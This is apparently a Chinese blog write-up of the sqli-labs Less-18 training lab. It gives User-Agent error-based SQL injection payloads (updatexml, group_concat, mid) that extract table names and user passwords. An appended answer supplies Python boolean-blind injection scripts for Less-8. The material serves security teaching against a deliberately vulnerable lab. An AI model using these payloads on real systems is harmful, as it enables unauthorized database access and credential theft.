sqli-labs第十八关详解

本文详细解析了一个SQL注入漏洞的利用过程,重点在于报错注入技术。首先介绍了HTTP_USER_AGENT和REMOTE_ADDR的概念,然后分析了登录验证的SQL语句,指出在用户登录后执行的未过滤的SQL插入语句是攻击点。通过构造特殊的输入,如1',1,updatexml(1,concat(0x5e,database()),1))#,可以触发报错并回显数据库名。接着,利用updatexml和group_concat函数,逐步获取表名、字段名和数据,即使报错信息有限,也能通过多次请求获取完整信息。文章深入探讨了如何利用闭合VALUES和报错反馈来实施SQL注入攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

先看一下源码

这里定义的函数跟十七关的一样,具体解析可看sqli-labs第十七关详解_金 帛的博客-CSDN博客

HTTP_USER_AGENT        是请求用户代理的信息,也就是http头User-Agent:的内容

REMOTE_ADDE        是指浏览当前页面的用户的IP地址,也就是搭建靶场的那个IP地址 

 接着我们继续看

这里当用户名跟密码都有输入的时候才能触发的,可以看到用户名和密码都被过筛了,也就是不能在这里进行SQL注入了,接着再往下看看

这里可以看到,当登入进去的时候,还会再执行一条SQL语句并且包涵的$uagent没有被过滤掉,,还看到后面的语句中还会进行报错回馈,因此我们可以利用这两个地方为注入点,但是得通过抓包请求进行报错注入

可利用的SQL语句是

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合VALUES,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#,在SQL语句中相当于

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)

这样就闭合了VALUES,所以我们在uagent上正确的payload应该是

1',1,updatexml(1,concat(0x5e,database()),1))#

可以看到回显了数据库名称,接着我们爆表,构建payload

1',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#

接着爆字段,构建payload

1',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#

接着查看字段,构建payload

1',1,updatexml(1,concat(0x5e,(select group_concat(password) from users)),1))#

由于报错语句只能回显32位的缘故,这里只回显了一小部分密码,可以利用mid函数,截断SQL语句,来回显剩下的密码

也就是mid(SQL语句,32,32)

构造payload

1',1,updatexml(1,concat(0x5e,mid((select group_concat(password) from users),32,32)),1))#

 继续构造

1',1,updatexml(1,concat(0x5e,mid((select group_concat(password) from users),64,32)),1))#

接着将上面回显的内容拼起来就得到全部密码了

### SQLi-Labs 第八解析 #### 背景介绍 SQLi-Labs 是一款用于学习和实践 SQL 注入技术的开源工具。第八的目标是通过 SQL 注入漏洞获取数据库的相信息,例如数据库名称或其他敏感数据。 --- #### 技术分析与解决方法 ##### 1. 判断是否存在 SQL 注入漏洞 在本卡中,`index.php?id=1` 参数存在潜在的 SQL 注入风险。可以通过输入特殊字符来验证这一点。例如,当提交 `id=1'` 或者类似的畸形输入时,如果页面返回异常行为(如错误提示或者逻辑变化),则可以初步确认该参数可能存在注入点[^2]。 ##### 2. 探测注入方式 由于题目描述提到没有明显的报错信息,而是依赖于特定反馈机制——即 “You are in...”,因此需要利用布尔盲注的方式逐步推断目标数据库的信息[^4]。 ###### (a) 数据库长度检测 为了高效地提取数据库名字,首先应确定其长度。以下是实现此功能的一个 Python 示例脚本: ```python import requests def get_database_length(): url = "http://localhost/sqli-labs/Less-8/index.php" for i in range(20): # 假设最大可能长度不超过20 payload = f"1' AND LENGTH(DATABASE())>{i}-- " data = {'id': payload} response = requests.get(url, params=data) if 'You are in...........' not in response.text: return i database_length = get_database_length() print(f"The length of the database name is {database_length}.") ``` 上述代码会不断调整条件表达式的阈值直到找到确切的字数为止。 ###### (b) 枚举数据库名称 一旦得知了数据库的名字总共有多少字母组成之后,就可以逐位读取这些字符的内容了。下面展示了一个简单的循环结构用来完成这项任务: ```python def retrieve_database_name(length): db_name = "" charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.-" # 可能使用的字符集 url = "http://localhost/sqli-labs/Less-8/index.php" for pos in range(1, length + 1): for char in charset: payload = f"1' AND SUBSTRING((SELECT DATABASE()),{pos},1)=CHAR({ord(char)})-- " data = {'id': payload} response = requests.get(url, params=data) if 'You are in...........' in response.text: db_name += char break return db_name db_name_result = retrieve_database_name(database_length) print(f"The database name is '{db_name_result}'.") ``` 这段程序基于之前计算出来的长度值逐一测试每一位对应的 ASCII 编码数值,并拼接成完整的字符串形式输出结果[^3]。 --- #### 总结 通过对 Less-8 的深入研究可以看出,在面对无明显错误回显的情况下,采用布尔型时间延迟等隐秘手法同样能够成功实施攻击。然而值得注意的是,在真实环境中进行此类操作往往违反法律法规,请务必仅限于授权范围内练习! ---
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值